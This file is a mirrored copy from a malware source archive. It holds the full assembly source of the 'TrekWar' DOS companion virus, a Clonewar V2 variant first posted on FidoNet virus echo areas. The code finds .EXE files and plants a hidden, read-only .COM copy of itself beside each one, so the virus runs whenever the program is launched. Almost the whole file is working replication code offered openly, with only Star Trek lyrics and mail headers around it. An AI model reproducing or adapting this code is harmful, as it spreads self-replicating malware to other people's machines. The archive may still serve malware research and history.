mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
214 lines
7.7 KiB
NASM
214 lines
7.7 KiB
NASM
;Ä PVT.VIRII (2:465/65.4) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ PVT.VIRII Ä
|
||
; Msg : 45 of 54
|
||
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:16
|
||
; To : - *.* - Fri 11 Nov 94 08:10
|
||
; Subj : TREKWAR.ASM
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
;.RealName: Max Ivanov
|
||
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||
;* Kicked-up by MeteO (2:5030/136)
|
||
;* Area : VIRUS (Int: ˆä®p¬ æ¨ï ® ¢¨pãá å)
|
||
;* From : Mike Salvino, 2:283/718 (06 Nov 94 17:51)
|
||
;* To : Daniel Hendry
|
||
;* Subj : TREKWAR.ASM
|
||
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||
;@RFC-Path:
|
||
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
|
||
;18.n283!not-for-mail
|
||
;@RFC-Return-Receipt-To: Mike.Salvino@f718.n283.z2.fidonet.org
|
||
;TrekWar
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Assembly Source Listing for TrekWar Companion Virus ³
|
||
;³ Copyright (c) 1993 T.R.E.K. All Rights Reserved. :) ³
|
||
;ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
|
||
;³ The TrekWar is a simple modification of the Clonewar V2 companion virus; ³
|
||
;³ for all you trekkers out there... For those of you who, heaven forbid, do ³
|
||
;³ not know what the words below mean, they are the words to the old series ³
|
||
;³ opening music of Star Trek... ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
CSEG SEGMENT
|
||
ASSUME CS:CSEG,DS:NOTHING
|
||
|
||
ORG 100H
|
||
|
||
START:
|
||
jmp VIR_BEGIN ;lets get moving...
|
||
|
||
db "",13,10
|
||
db "",13,10
|
||
db "Beyond",13,10 ;blah blah blah
|
||
db "The rim of the star-light",13,10
|
||
db "My love",13,10
|
||
db "Is wand'ring in star-flight",13,10
|
||
db "I know",13,10
|
||
db "He'll find in star-clustered reaches",13,10
|
||
db "Love",13,10
|
||
db "Strange love a star woman teaches.",13,10
|
||
db "I know",13,10
|
||
db "His journey ends never",13,10
|
||
db "His star trek",13,10
|
||
db "Will go on forever.",13,10
|
||
db "But tell him",13,10
|
||
db "While he wanders his starry sea",13,10
|
||
db "Remember, remember me."
|
||
db "",13,10
|
||
db "",13,10
|
||
|
||
db "[TrekWar] " ;what the heck, its only a few bytes!?
|
||
WILDCARD DB "*.EXE",0
|
||
FILE_EXT DB "COM",0
|
||
FILE_FOUND DB 12 DUP(' '), 0
|
||
FILE_CREATE DB 12 DUP(' '), 0
|
||
SEARCH_ATTRIB DW 17H
|
||
NUM_INFECT DW 0
|
||
|
||
|
||
My_Cmd:
|
||
CMD_LEN DB 13
|
||
FILE_CLONE DB 12 DUP (' '), 0
|
||
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; Read all the directory filenames and store as records in buffer.
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
Vir_begin:
|
||
|
||
mov sp,offset STACK_HERE ;move stack down
|
||
mov bx,sp
|
||
add bx,15
|
||
mov cl,4
|
||
shr bx,cl
|
||
mov ah,4ah ;deallocate rest of memory
|
||
int 21h
|
||
|
||
mov di,OFFSET FILE_CLONE ;Point to buffer.
|
||
mov si,OFFSET FILE_FOUND
|
||
mov cx,12
|
||
rep movsb
|
||
|
||
Read_dir: mov dx,OFFSET WILDCARD ;file mask for directory search
|
||
mov cx,SEARCH_ATTRIB
|
||
|
||
mov ah,4Eh ;find first matching file
|
||
int 21h
|
||
|
||
jc EXIT ;If empty directory, exit
|
||
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
Store_name:
|
||
|
||
mov di,OFFSET FILE_FOUND ;Point to buffer.
|
||
mov si,158 ;stow the file found in buffer
|
||
mov cx,12
|
||
rep movsb
|
||
|
||
mov di,OFFSET FILE_CREATE ;Point to buffer.
|
||
mov si,158
|
||
mov cx,12
|
||
rep movsb
|
||
|
||
cld
|
||
mov di,OFFSET FILE_CREATE
|
||
mov al,'.'
|
||
mov cx,9
|
||
repne scasb ;find the '.'
|
||
|
||
mov si,OFFSET FILE_EXT
|
||
mov cx,3
|
||
rep movsb ;replace the .EXE with .COM
|
||
;from buffer
|
||
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
Check_file: ;does the file exist?
|
||
mov dx,OFFSET FILE_CREATE
|
||
xor cx,cx
|
||
mov ax,3d00h ;Open file, read only
|
||
int 21h
|
||
jnc find_next
|
||
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
Infect_file: ;create companion routine
|
||
|
||
mov dx,OFFSET FILE_CREATE ;contains name of "companion"
|
||
xor cx,cx
|
||
mov ah,3ch ;construct file
|
||
int 21h
|
||
jc EXIT
|
||
|
||
;Write virus to companion file
|
||
xchg bx,ax
|
||
mov cx,(OFFSET END_OF_CODE - OFFSET START) ;virus length
|
||
mov dx,OFFSET START
|
||
mov ah,40h ;write to file function
|
||
int 21h ;do it
|
||
|
||
;Close file
|
||
mov ah,3eh ;assumes bx still has file handle
|
||
int 21h
|
||
|
||
;Change attributes
|
||
mov dx,OFFSET FILE_CREATE ;of created file to
|
||
mov cx,3 ;(1) read only and (2) hidden
|
||
mov ax,4301h
|
||
int 21h
|
||
jmp prepare_command
|
||
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
;...findnext...
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
find_next:
|
||
mov ah, 4fh ;find next...
|
||
int 21h
|
||
jmp store_name
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
Prepare_command:
|
||
|
||
cld
|
||
mov di,OFFSET FILE_CLONE
|
||
mov al,0
|
||
mov cx,12
|
||
repne scasb ;find the end of string \0
|
||
|
||
mov al,0Dh ;<CR>
|
||
stosb ;replace \0 with a <CR>
|
||
|
||
mov ax,12 ;store length of the command
|
||
sub ax,cx
|
||
mov CMD_LEN, al
|
||
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
Exit:
|
||
;Run the original program
|
||
mov si, OFFSET MY_CMD
|
||
int 2Eh ;Pass command to command
|
||
;interpreter for execution
|
||
mov ax,4C00H ;Exit to DOS
|
||
int 21h
|
||
|
||
|
||
END_OF_CODE = $
|
||
|
||
STACK_HERE EQU END_OF_CODE + 512
|
||
|
||
CSEG ENDS
|
||
END START
|
||
|
||
;-+- FMail 0.96â
|
||
; + Origin: ViRUS PaRk BbS >916< 387-6159 24HouRs (2:283/718)
|
||
;=============================================================================
|
||
;
|
||
;Yoo-hooo-oo, -!
|
||
;
|
||
;
|
||
; þ The MeÂeO
|
||
;
|
||
;/zi,/zd,/zn Debug info: zi=full, zd=line numbers only, zn=none
|
||
;
|
||
;--- Aidstest Null: /Kill
|
||
; * Origin: ùPVT.ViRIIúmainúboardú / Virus Research labs. (2:5030/136)
|
||
|